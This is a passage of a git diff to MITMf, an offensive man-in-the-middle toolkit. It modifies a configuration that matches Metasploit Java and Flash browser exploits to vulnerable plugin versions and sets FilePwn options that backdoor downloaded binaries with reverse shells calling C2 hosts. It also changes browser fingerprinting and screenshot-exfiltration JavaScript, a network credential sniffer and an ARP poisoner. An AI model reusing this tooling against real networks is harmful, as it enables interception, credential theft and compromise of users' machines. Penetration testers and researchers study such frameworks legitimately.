start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcport = 55552 rpcpass = abc123 + [[MITMf-API]] + host = 127.0.0.1 + port = 9999 + + [[HTTP]] + + # + # Here you can configure MITMf's internal HTTP server + # Note: changing the port number might break certain plugins + + port = 80 + [[SMB]] # @@ -57,25 +67,6 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - [[HTTP]] - - # - # Here you can configure MITMf's internal HTTP server - # - - port = 80 - - #[[[Paths]]] - - # - # Here you can define the content to deliver - # - - # Format is urlpath = filesystem path (urlpath can be a regular expression) - - # ".*" = "/var/www" - # "/test" = "/var/www2" - [[DNS]] # @@ -93,7 +84,7 @@ nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawls.org=192.168.178.27 + *.thesprawl.org=192.168.178.27 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -135,9 +126,8 @@ [Spoof] [[DHCP]] - ip_pool = 192.168.2.10-50 + ip_pool = 192.168.1.10-50 subnet = 255.255.255.0 - dns_server = 192.168.2.20 #optional [Replace] @@ -306,81 +296,100 @@ # When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 # - [[multi/browser/java_rhino]] #Exploit's MSF path + msfport = 8080 # Port to start Metasploit's webserver which will host the exploits + + [[exploits]] - Type = PluginVuln #Can be set to PluginVuln, BrowserVuln - OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) + [[[multi/browser/java_rhino]]] #Exploit's MSF path + + Type = PluginVuln #Can be set to PluginVuln, BrowserVuln + OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) - Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6) - Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) + Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6) + Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) - #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) - PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 + #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) + PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 - [[multi/browser/java_atomicreferencearray]] + [[[multi/browser/java_atomicreferencearray]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 - [[multi/browser/java_jre17_jmxbean_2]] + [[[multi/browser/java_jre17_jmxbean_2]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - - [[multi/browser/java_jre17_reflection_types]] + [[[multi/browser/java_jre17_reflection_types]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - - [[multi/browser/java_verifier_field_access]] + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[multi/browser/java_verifier_field_access]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 - [[multi/browser/java_jre17_provider_skeleton]] + [[[multi/browser/java_jre17_provider_skeleton]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + [[[exploit/windows/browser/adobe_flash_pcre]]] - [[exploit/windows/browser/adobe_flash_pcre]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 + [[[exploit/windows/browser/adobe_flash_net_connection_confusion]]] - [[exploit/windows/browser/adobe_flash_net_connection_confusion]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 + [[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]] - [[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 + [[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204 + + [[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194 [FilePwn] @@ -419,6 +428,28 @@ # # Tested on Kali-Linux. + [[hosts]] + #whitelist host/IP - patch these only. + #ALL is everything, use the blacklist to leave certain hosts/IPs out + + whitelist = ALL + + #Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both. + + blacklist = , # a comma is null do not leave blank + + + [[keywords]] + #These checks look at the path of a url for keywords + + whitelist = ALL + + #For blacklist note binaries that you do not want to touch at all + + # Also applied in zip files + + blacklist = Tcpview.exe, skype.exe, .dll + [[ZIP]] # patchCount is the max number of files to patch in a zip file # After the max is reached it will bypass the rest of the files @@ -457,63 +488,77 @@ CompressedFiles = True #True/False - [[[[LinuxIntelx86]]]] - SHELL = reverse_shell_tcp # This is the BDF syntax - HOST = 192.168.1.168 # The C2 - PORT = 8888 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax - - [[[[LinuxIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 9999 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[LinuxIntelx86]]]] + SHELL = reverse_shell_tcp # This is the BDF syntax + HOST = 192.168.1.168 # The C2 + PORT = 8888 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax + + [[[[LinuxIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 9999 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp - [[[[WindowsIntelx86]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - # PATCH_METHOD = automatic - PATCH_METHOD = - HOST = 192.168.10.11 - PORT = 8443 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/meterpreter/reverse_tcp + [[[[WindowsIntelx86]]]] + PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic + HOST = 192.168.1.88 + PORT = 8444 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = False + PATCH_DLL = True + MSFPAYLOAD = windows/meterpreter/reverse_tcp - [[[[WindowsIntelx64]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - # PATCH_METHOD = automatic - PATCH_METHOD = - HOST = 192.168.1.16 - PORT = 8088 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/x64/shell/reverse_tcp + [[[[WindowsIntelx64]]]] + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic + HOST = 192.168.1.16 + PORT = 8088 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + PATCH_DLL = False + MSFPAYLOAD = windows/x64/shell/reverse_tcp - [[[[MachoIntelx86]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 4444 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[MachoIntelx86]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 4444 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp - [[[[MachoIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 5555 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[MachoIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 5555 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp -[EvilGrade] + # Call out the difference for targets here as they differ from ALL + # These settings override the ALL settings + + [[[sysinternals.com]]] + LinuxType = None + WindowsType = x86 + CompressedFiles = False + + #inherits WindowsIntelx32 from ALL + [[[[WindowsIntelx86]]]] + PATCH_DLL = False + ZERO_CERT = True - [[NotePad++]] - host = 'notepad-plus-plus.org' - url = '/update/getDownloadUrl.php?version=' - data = r'yes%RAND%http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe' \ No newline at end of file + [[[sourceforge.org]]] + WindowsType = x64 + CompressedFiles = False + + [[[[WindowsIntelx64]]]] + PATCH_DLL = False + + [[[[WindowsIntelx86]]]] + PATCH_DLL = False diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index 1ca45d8..eb4abf1 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -111,13 +111,10 @@ class ClientRequest(Request): log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - + elif self.urlMonitor.isSecureLink(client, url): log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) - + else: log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js index bf85b89..1eddb16 100644 --- a/core/javascript/plugindetect.js +++ b/core/javascript/plugindetect.js @@ -1260,6 +1260,12 @@ var PD = PluginDetect; //Set delimiter PD.getVersion("."); +//Get client Info +data = os_detect.getVersion() + +//Check to see if the UA is a lying bastard +data['ua_is_lying'] = os_detect.ua_is_lying + //Try to get plugin list var pluginList = []; if (navigator.plugins) { @@ -1270,30 +1276,24 @@ if (navigator.plugins) { } if (pluginList.length > 0){ - data['pluginlist'] = pluginList; + data['plugin_list'] = pluginList; } //Check if java plugin is installed and/or enabled -var javaEnabled = PD.isMinVersion('java'); -data['java'] = javaEnabled; +//var javaEnabled = PD.isMinVersion('java'); +//data['java'] = javaEnabled; //Get exact java plugin version var javaVersionString = PD.getVersion('java'); -data['java_v'] = javaVersionString; +data['java'] = javaVersionString; //Check if flash plugin is installed and/or enabled -var flashEnabled = PD.isMinVersion('flash'); -data['flash'] = flashEnabled; +//var flashEnabled = PD.isMinVersion('flash'); +//data['flash'] = flashEnabled; //Get exact flash plugin version var flashVersionString = PD.getVersion('flash'); -data['flash_v'] = flashVersionString; - -//Get client Info -data['client_info'] = os_detect.getVersion() - -//Check to see if the UA is a lying bastard -data['client_info']['ua_is_lying'] = os_detect.ua_is_lying +data['flash'] = flashVersionString; xhr.open("POST", "clientprfl", true); xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8"); diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fe50ad7..e8b1a8e 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) { }; } _html2canvas.Parse = function (images, options) { - window.scroll(0,0); + //window.scroll(0,0); var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default numDraws = 0, @@ -2871,8 +2871,10 @@ function grab() { xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); var x=encodeURIComponent(dat); xmlhttp.send(x); - } - }); + }, + width: screen.width, + height: screen.height + }); } setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/mitmfapi.py b/core/mitmfapi.py index 6413163..e43ff49 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -32,41 +32,37 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins app = Flask(__name__) -class mitmfapi: +class mitmfapi(ConfigWatcher): - _instance = None - host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host'] - port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port']) + __shared_state = {} - @staticmethod - def getInstance(): - if mitmfapi._instance is None: - mitmfapi._instance = mitmfapi() - - return mitmfapi._instance + def __init__(self): + self.__dict__ = self.__shared_state + self.host = self.config['MITMf']['MITMf-API']['host'] + self.port = int(self.config['MITMf']['MITMf-API']['port']) @app.route("/") def getPlugins(): - # example: http://127.0.0.1:9090/ + # example: http://127.0.0.1:9999/ pdict = {} - #print ProxyPlugins.getInstance().plist - for activated_plugin in ProxyPlugins.getInstance().plist: + #print ProxyPlugins().plugin_list + for activated_plugin in ProxyPlugins().plugin_list: pdict[activated_plugin.name] = True - #print ProxyPlugins.getInstance().plist_all - for plugin in ProxyPlugins.getInstance().plist_all: + #print ProxyPlugins().all_plugins + for plugin in ProxyPlugins().all_plugins: if plugin.name not in pdict: pdict[plugin.name] = False - #print ProxyPlugins.getInstance().pmthds + #print ProxyPlugins().pmthds return json.dumps(pdict) @app.route("/") def getPluginStatus(plugin): # example: http://127.0.0.1:9090/cachekill - for p in ProxyPlugins.getInstance().plist: + for p in ProxyPlugins().plugin_list: if plugin == p.name: return json.dumps("1") @@ -77,15 +73,15 @@ class mitmfapi: # example: http://127.0.0.1:9090/cachekill/1 # enabled # example: http://127.0.0.1:9090/cachekill/0 # disabled if status == "1": - for p in ProxyPlugins.getInstance().plist_all: - if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist): - ProxyPlugins.getInstance().addPlugin(p) + for p in ProxyPlugins().all_plugins: + if (p.name == plugin) and (p not in ProxyPlugins().plugin_list): + ProxyPlugins().addPlugin(p) return json.dumps({"plugin": plugin, "response": "success"}) elif status == "0": - for p in ProxyPlugins.getInstance().plist: + for p in ProxyPlugins().plugin_list: if p.name == plugin: - ProxyPlugins.getInstance().removePlugin(p) + ProxyPlugins().removePlugin(p) return json.dumps({"plugin": plugin, "response": "success"}) return json.dumps({"plugin": plugin, "response": "failed"}) diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 58e34e5..1d5c7b3 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -5,6 +5,7 @@ import base64 import threading import binascii +from core.logger import logger from os import geteuid, devnull from sys import exit from urllib import unquote @@ -16,7 +17,8 @@ from urllib import unquote from scapy.all import * conf.verb=0 -log = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("NetCreds", formatter) DN = open(devnull, 'w') pkt_frag_loads = OrderedDict() @@ -43,11 +45,11 @@ class NetCreds: version = "1.0" - def sniffer(self, interface): - sniff(iface=interface, prn=pkt_parser, store=0) + def sniffer(self, interface, ip): + sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0) - def start(self, interface): - t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,)) + def start(self, interface, ip): + t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,)) t.setDaemon(True) t.start() @@ -897,7 +899,7 @@ def printer(src_ip_port, dst_ip_port, msg): print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) # All credentials will have dst_ip_port, URLs will not - log.info("[NetCreds] {}".format(print_str)) + log.info("{}".format(print_str)) else: print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg) - log.info("[NetCreds] {}".format(print_str)) + log.info("{}".format(print_str)) diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index a027f45..1a937a0 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -16,15 +16,12 @@ # USA # -import threading import logging - -from traceback import print_exc +import threading from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from core.logger import logger -from core.utils import set_ip_forwarding, iptables from time import sleep -from scapy.all import ARP, send, sendp, sniff, getmacbyip +from scapy.all import * formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("ARPpoisoner", formatter) @@ -36,78 +33,101 @@ class ARPpoisoner: version = '0.1' def __init__(self, options): - try: self.gatewayip = str(IPAddress(options.gateway)) except AddrFormatError as e: sys.exit("Specified an invalid IP address as gateway") self.gatewaymac = getmacbyip(options.gateway) - self.targets = self.get_target_range(options.targets) + if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address") + + self.ignore = self.get_range(options.ignore) + if self.ignore is None: self.ignore = [] + + self.targets = self.get_range(options.targets) self.arpmode = options.arpmode self.debug = False self.send = True self.interval = 3 self.interface = options.interface + self.myip = options.ip self.mymac = options.mac - - if self.gatewaymac is None: - sys.exit("Error: Could not resolve gateway's MAC address") + self.arp_cache = {} log.debug("gatewayip => {}".format(self.gatewayip)) log.debug("gatewaymac => {}".format(self.gatewaymac)) log.debug("targets => {}".format(self.targets)) + log.debug("ignore => {}".format(self.ignore)) + log.debug("ip => {}".format(self.myip)) log.debug("mac => {}".format(self.mymac)) log.debug("interface => {}".format(self.interface)) log.debug("arpmode => {}".format(self.arpmode)) log.debug("interval => {}".format(self.interval)) - set_ip_forwarding(1) - iptables().flush() - iptables().http(options.port) + def start(self): + + #create a L3 and L2 socket, to be used later to send ARP packets + #this doubles performance since send() and sendp() open and close a socket on each packet + self.s = conf.L3socket(iface=self.interface) + self.s2 = conf.L2socket(iface=self.interface) if self.arpmode == 'rep': - t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep) + t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',)) elif self.arpmode == 'req': - t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req) + t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',)) t.setDaemon(True) t.start() if self.targets is None: + log.debug('Starting ARPWatch') t = threading.Thread(name='ARPWatch', target=self.start_arp_watch) t.setDaemon(True) t.start() - def get_target_range(self, targets): + def get_range(self, targets): if targets is None: return None try: - targetList = [] + target_list = [] for target in targets.split(','): if '/' in target: - targetList.append(IPNetwork(target)) + target_list.extend(list(IPNetwork(target))) elif '-' in target: - first_half = target.split('-')[0] - second_half = first_half + target.split('-')[1] - targetList.append(IPRange(first_half, second_half)) + start_addr = IPAddress(target.split('-')[0]) + try: + end_addr = IPAddress(target.split('-')[1]) + ip_range = IPRange(start_addr, end_addr) + except AddrFormatError: + end_addr = list(start_addr.words) + end_addr[-1] = target.split('-')[1] + end_addr = IPAddress('.'.join(map(str, end_addr))) + ip_range = IPRange(start_addr, end_addr) + + target_list.extend(list(ip_range)) else: - targetList.append(IPAddress(target)) + target_list.append(IPAddress(target)) - return targetList - except AddrFormatError as e: + return target_list + + except AddrFormatError: sys.exit("Specified an invalid IP address/range/network as target") def start_arp_watch(self): - sniff(prn=self.arp_watch_callback, filter="arp", store=0) + try: + sniff(prn=self.arp_watch_callback, filter="arp", store=0) + except Exception as e: + if "Interrupted system call" not in e: + log.error("[ARPWatch] Exception occurred when invoking sniff(): {}".format(e)) + pass def arp_watch_callback(self, pkt): - if self.send is True: #Prevents sending packets on exiting + if self.send is True: if ARP in pkt and pkt[ARP].op == 1: #who-has only #broadcast mac is 00:00:00:00:00:00 packet = None @@ -117,7 +137,7 @@ class ARPpoisoner: #print str(pkt[ARP].pdst) #ip of destination (Who is ...?) if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == 